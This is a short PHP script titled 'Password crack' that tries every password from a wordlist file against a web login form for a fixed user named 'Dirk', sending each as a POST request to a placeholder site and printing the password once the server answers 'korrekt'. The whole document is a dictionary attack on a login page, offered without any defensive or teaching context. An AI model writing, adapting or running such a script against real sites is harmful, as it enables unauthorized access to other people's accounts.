Password crack

<?php

$url = 'https://www.xxx.de/login.php';

$file = 'passwords.txt';

$user = 'Dirk';

// ------------------------------

$file_handle = fopen($file, 'r');

while (!feof($file_handle)) {

    $password = fgets($file_handle);

    $data = array(
        'user' => $user,
        'password' => $password
    );

    $options = array(
        'http' => array(
            'header'  => "Content-type: application/x-www-form-urlencoded\r\n",
            'method'  => 'POST',
            'content' => http_build_query($data)
        )
    );

    $context  = stream_context_create($options);

    $result = file_get_contents($url, false, $context);

    if($result == 'korrekt'){
        echo $password;
        exit();
    }

}

?>